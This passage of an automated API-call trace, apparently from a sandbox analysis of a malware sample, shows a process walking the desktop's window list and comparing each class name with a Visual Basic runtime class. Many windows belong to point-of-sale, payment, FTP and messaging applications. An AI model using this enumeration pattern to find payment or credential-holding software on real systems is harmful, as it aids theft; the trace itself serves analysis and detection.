returned 0x7feeeb50000 [0079.448] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0079.448] GetClassNameA (in: hWnd=0x302c4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0079.448] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0079.448] GetWindowThreadProcessId (in: hWnd=0x302c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0079.448] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0079.448] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0079.448] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0079.448] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0079.449] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0079.449] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0079.449] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0079.449] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0079.449] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0079.449] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0079.449] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x10270 [0079.449] GetClassNameA (in: hWnd=0x10270, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0079.449] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0079.449] GetWindowThreadProcessId (in: hWnd=0x10270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0079.449] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0079.449] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0079.449] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0079.449] GetWindow (hWnd=0x10270, uCmd=0x2) returned 0x30152 [0079.449] GetClassNameA (in: hWnd=0x30152, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0079.449] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0079.449] GetWindowThreadProcessId (in: hWnd=0x30152, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbc8 [0079.449] GetWindow (hWnd=0x30152, uCmd=0x2) returned 0x3018c [0079.449] GetClassNameA (in: hWnd=0x3018c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0079.449] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0079.449] GetWindowThreadProcessId (in: hWnd=0x3018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0079.449] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0079.449] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0079.449] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0079.449] GetWindow (hWnd=0x3018c, uCmd=0x2) returned 0x900a0 [0079.449] GetClassNameA (in: hWnd=0x900a0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0079.449] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0079.449] GetWindowThreadProcessId (in: hWnd=0x900a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.449] GetWindow (hWnd=0x900a0, uCmd=0x2) returned 0x10262 [0079.449] GetClassNameA (in: hWnd=0x10262, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.450] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.450] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0079.450] GetWindow (hWnd=0x10262, uCmd=0x2) returned 0x10260 [0079.450] GetClassNameA (in: hWnd=0x10260, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Waiting_window") returned 14 [0079.450] lstrcmpA (lpString1="Waiting_window", lpString2="ThunderRT6Main") returned 1 [0079.450] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0079.450] GetWindow (hWnd=0x10260, uCmd=0x2) returned 0x202bc [0079.450] GetClassNameA (in: hWnd=0x202bc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0079.450] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0079.450] GetWindowThreadProcessId (in: hWnd=0x202bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0079.450] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0079.450] GetWindow (hWnd=0x202bc, uCmd=0x2) returned 0x10292 [0079.450] GetClassNameA (in: hWnd=0x10292, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0079.450] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0079.450] GetWindowThreadProcessId (in: hWnd=0x10292, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0079.450] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0079.450] GetWindow (hWnd=0x10292, uCmd=0x2) returned 0x300e6 [0079.450] GetClassNameA (in: hWnd=0x300e6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0079.450] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0079.450] GetWindowThreadProcessId (in: hWnd=0x300e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.450] GetWindow (hWnd=0x300e6, uCmd=0x2) returned 0x300be [0079.450] GetClassNameA (in: hWnd=0x300be, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0079.450] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0079.450] GetWindowThreadProcessId (in: hWnd=0x300be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.450] GetWindow (hWnd=0x300be, uCmd=0x2) returned 0x300e4 [0079.450] GetClassNameA (in: hWnd=0x300e4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0079.450] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0079.450] GetWindowThreadProcessId (in: hWnd=0x300e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.450] GetWindow (hWnd=0x300e4, uCmd=0x2) returned 0x300ca [0079.451] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0079.451] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0079.451] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.451] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x300d4 [0079.451] GetClassNameA (in: hWnd=0x300d4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0079.451] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0079.451] GetWindowThreadProcessId (in: hWnd=0x300d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.451] GetWindow (hWnd=0x300d4, uCmd=0x2) returned 0x400b4 [0079.451] GetClassNameA (in: hWnd=0x400b4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0079.451] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0079.451] GetWindowThreadProcessId (in: hWnd=0x400b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.451] GetWindow (hWnd=0x400b4, uCmd=0x2) returned 0x300cc [0079.451] GetClassNameA (in: hWnd=0x300cc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0079.451] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0079.451] GetWindowThreadProcessId (in: hWnd=0x300cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.451] GetWindow (hWnd=0x300cc, uCmd=0x2) returned 0x1025e [0079.451] GetClassNameA (in: hWnd=0x1025e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.451] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.451] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0079.451] GetWindow (hWnd=0x1025e, uCmd=0x2) returned 0x1025c [0079.451] GetClassNameA (in: hWnd=0x1025c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Makers_genius_roles_app") returned 23 [0079.451] lstrcmpA (lpString1="Makers_genius_roles_app", lpString2="ThunderRT6Main") returned -1 [0079.451] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0079.451] GetWindow (hWnd=0x1025c, uCmd=0x2) returned 0x10258 [0079.451] GetClassNameA (in: hWnd=0x10258, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="utg2_wnd") returned 8 [0079.451] lstrcmpA (lpString1="utg2_wnd", lpString2="ThunderRT6Main") returned 1 [0079.451] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0079.452] GetWindow (hWnd=0x10258, uCmd=0x2) returned 0x1025a [0079.452] GetClassNameA (in: hWnd=0x1025a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.452] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.452] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0079.452] GetWindow (hWnd=0x1025a, uCmd=0x2) returned 0x10254 [0079.452] GetClassNameA (in: hWnd=0x10254, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="spgagentserviceclass") returned 20 [0079.452] lstrcmpA (lpString1="spgagentserviceclass", lpString2="ThunderRT6Main") returned -1 [0079.452] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0079.452] GetWindow (hWnd=0x10254, uCmd=0x2) returned 0x10256 [0079.452] GetClassNameA (in: hWnd=0x10256, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.452] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.452] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0079.452] GetWindow (hWnd=0x10256, uCmd=0x2) returned 0x20250 [0079.452] GetClassNameA (in: hWnd=0x20250, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="spcwinwnd") returned 9 [0079.452] lstrcmpA (lpString1="spcwinwnd", lpString2="ThunderRT6Main") returned -1 [0079.452] GetWindowThreadProcessId (in: hWnd=0x20250, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0079.452] GetWindow (hWnd=0x20250, uCmd=0x2) returned 0x10252 [0079.452] GetClassNameA (in: hWnd=0x10252, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.452] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.452] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0079.452] GetWindow (hWnd=0x10252, uCmd=0x2) returned 0x1024c [0079.452] GetClassNameA (in: hWnd=0x1024c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="omniposcls") returned 10 [0079.452] lstrcmpA (lpString1="omniposcls", lpString2="ThunderRT6Main") returned -1 [0079.452] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0079.452] GetWindow (hWnd=0x1024c, uCmd=0x2) returned 0x1024e [0079.452] GetClassNameA (in: hWnd=0x1024e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.452] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.453] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0079.453] GetWindow (hWnd=0x1024e, uCmd=0x2) returned 0x10248 [0079.453] GetClassNameA (in: hWnd=0x10248, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="mxslipstream") returned 12 [0079.453] lstrcmpA (lpString1="mxslipstream", lpString2="ThunderRT6Main") returned -1 [0079.453] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0079.453] GetWindow (hWnd=0x10248, uCmd=0x2) returned 0x1024a [0079.453] GetClassNameA (in: hWnd=0x1024a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.453] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.453] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0079.453] GetWindow (hWnd=0x1024a, uCmd=0x2) returned 0x10244 [0079.453] GetClassNameA (in: hWnd=0x10244, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="isspos_wnd") returned 10 [0079.453] lstrcmpA (lpString1="isspos_wnd", lpString2="ThunderRT6Main") returned -1 [0079.453] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0079.453] GetWindow (hWnd=0x10244, uCmd=0x2) returned 0x10246 [0079.453] GetClassNameA (in: hWnd=0x10246, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.453] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.453] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0079.453] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x10240 [0079.453] GetClassNameA (in: hWnd=0x10240, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="fposwin") returned 7 [0079.453] lstrcmpA (lpString1="fposwin", lpString2="ThunderRT6Main") returned -1 [0079.453] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0079.453] GetWindow (hWnd=0x10240, uCmd=0x2) returned 0x10242 [0079.453] GetClassNameA (in: hWnd=0x10242, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.453] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.453] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0079.453] GetWindow (hWnd=0x10242, uCmd=0x2) returned 0x1023c [0079.453] GetClassNameA (in: hWnd=0x1023c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="edcsvr_class") returned 12 [0079.454] lstrcmpA (lpString1="edcsvr_class", lpString2="ThunderRT6Main") returned -1 [0079.454] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0079.454] GetWindow (hWnd=0x1023c, uCmd=0x2) returned 0x1023e [0079.454] GetClassNameA (in: hWnd=0x1023e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.454] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.454] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0079.454] GetWindow (hWnd=0x1023e, uCmd=0x2) returned 0x10238 [0079.454] GetClassNameA (in: hWnd=0x10238, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="creditservice_wnd") returned 17 [0079.454] lstrcmpA (lpString1="creditservice_wnd", lpString2="ThunderRT6Main") returned -1 [0079.454] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0079.454] GetWindow (hWnd=0x10238, uCmd=0x2) returned 0x1023a [0079.454] GetClassNameA (in: hWnd=0x1023a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.454] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.454] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0079.454] GetWindow (hWnd=0x1023a, uCmd=0x2) returned 0x10234 [0079.454] GetClassNameA (in: hWnd=0x10234, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="centralcreditcardwindow") returned 23 [0079.454] lstrcmpA (lpString1="centralcreditcardwindow", lpString2="ThunderRT6Main") returned -1 [0079.454] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0079.454] GetWindow (hWnd=0x10234, uCmd=0x2) returned 0x10236 [0079.454] GetClassNameA (in: hWnd=0x10236, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.454] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.454] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0079.454] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x10230 [0079.454] GetClassNameA (in: hWnd=0x10230, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ccv_server_cls") returned 14 [0079.454] lstrcmpA (lpString1="ccv_server_cls", lpString2="ThunderRT6Main") returned -1 [0079.454] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0079.454] GetWindow (hWnd=0x10230, uCmd=0x2) returned 0x10232 [0079.455] GetClassNameA (in: hWnd=0x10232, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.455] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.455] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0079.455] GetWindow (hWnd=0x10232, uCmd=0x2) returned 0x1022c [0079.455] GetClassNameA (in: hWnd=0x1022c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="aldelo_window") returned 13 [0079.455] lstrcmpA (lpString1="aldelo_window", lpString2="ThunderRT6Main") returned -1 [0079.455] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0079.455] GetWindow (hWnd=0x1022c, uCmd=0x2) returned 0x1022e [0079.455] GetClassNameA (in: hWnd=0x1022e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.455] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.455] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0079.455] GetWindow (hWnd=0x1022e, uCmd=0x2) returned 0x10228 [0079.455] GetClassNameA (in: hWnd=0x10228, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="afr38_") returned 6 [0079.455] lstrcmpA (lpString1="afr38_", lpString2="ThunderRT6Main") returned -1 [0079.455] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0079.455] GetWindow (hWnd=0x10228, uCmd=0x2) returned 0x1022a [0079.455] GetClassNameA (in: hWnd=0x1022a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.455] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.455] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0079.455] GetWindow (hWnd=0x1022a, uCmd=0x2) returned 0x10224 [0079.455] GetClassNameA (in: hWnd=0x10224, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="accupos_app") returned 11 [0079.455] lstrcmpA (lpString1="accupos_app", lpString2="ThunderRT6Main") returned -1 [0079.455] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0079.455] GetWindow (hWnd=0x10224, uCmd=0x2) returned 0x10226 [0079.455] GetClassNameA (in: hWnd=0x10226, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.455] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.455] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0079.456] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x10220 [0079.456] GetClassNameA (in: hWnd=0x10220, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="active-chargecls") returned 16 [0079.456] lstrcmpA (lpString1="active-chargecls", lpString2="ThunderRT6Main") returned -1 [0079.456] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0079.456] GetWindow (hWnd=0x10220, uCmd=0x2) returned 0x10222 [0079.456] GetClassNameA (in: hWnd=0x10222, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.456] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.456] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0079.456] GetWindow (hWnd=0x10222, uCmd=0x2) returned 0x1021c [0079.456] GetClassNameA (in: hWnd=0x1021c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="yahoomessengerclass") returned 19 [0079.456] lstrcmpA (lpString1="yahoomessengerclass", lpString2="ThunderRT6Main") returned 1 [0079.456] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0079.456] GetWindow (hWnd=0x1021c, uCmd=0x2) returned 0x1021e [0079.456] GetClassNameA (in: hWnd=0x1021e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.456] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.456] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0079.456] GetWindow (hWnd=0x1021e, uCmd=0x2) returned 0x10218 [0079.456] GetClassNameA (in: hWnd=0x10218, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="winscpclass") returned 11 [0079.456] lstrcmpA (lpString1="winscpclass", lpString2="ThunderRT6Main") returned 1 [0079.456] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0079.456] GetWindow (hWnd=0x10218, uCmd=0x2) returned 0x1021a [0079.456] GetClassNameA (in: hWnd=0x1021a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.456] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.456] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0079.456] GetWindow (hWnd=0x1021a, uCmd=0x2) returned 0x10214 [0079.456] GetClassNameA (in: hWnd=0x10214, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="whatsappwin") returned 11 [0079.456] lstrcmpA (lpString1="whatsappwin", lpString2="ThunderRT6Main") returned 1 [0079.457] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0079.457] GetWindow (hWnd=0x10214, uCmd=0x2) returned 0x10216 [0079.457] GetClassNameA (in: hWnd=0x10216, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.457] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.457] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0079.457] GetWindow (hWnd=0x10216, uCmd=0x2) returned 0x10210 [0079.457] GetClassNameA (in: hWnd=0x10210, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="webdrive_wnd") returned 12 [0079.457] lstrcmpA (lpString1="webdrive_wnd", lpString2="ThunderRT6Main") returned 1 [0079.457] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0079.457] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x10212 [0079.457] GetClassNameA (in: hWnd=0x10212, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.457] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.457] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0079.457] GetWindow (hWnd=0x10212, uCmd=0x2) returned 0x1020c [0079.457] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="trillian_window") returned 15 [0079.457] lstrcmpA (lpString1="trillian_window", lpString2="ThunderRT6Main") returned 1 [0079.457] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0079.457] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e [0079.457] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.457] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.457] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0079.458] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10208 [0079.458] GetClassNameA (in: hWnd=0x10208, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="totalcmdwnd") returned 11 [0079.458] lstrcmpA (lpString1="totalcmdwnd", lpString2="ThunderRT6Main") returned 1 [0079.458] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0079.458] GetWindow (hWnd=0x10208, uCmd=0x2) returned 0x1020a [0079.458] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.458] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.458] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0079.458] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x10204 [0079.458] GetClassNameA (in: hWnd=0x10204, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="thunderbirdwindow") returned 17 [0079.458] lstrcmpA (lpString1="thunderbirdwindow", lpString2="ThunderRT6Main") returned -1 [0079.458] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0079.458] GetWindow (hWnd=0x10204, uCmd=0x2) returned 0x10206 [0079.458] GetClassNameA (in: hWnd=0x10206, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.458] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.458] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0079.458] GetWindow (hWnd=0x10206, uCmd=0x2) returned 0x10200 [0079.458] GetClassNameA (in: hWnd=0x10200, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="smartftpwindow") returned 14 [0079.458] lstrcmpA (lpString1="smartftpwindow", lpString2="ThunderRT6Main") returned -1 [0079.458] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0079.458] 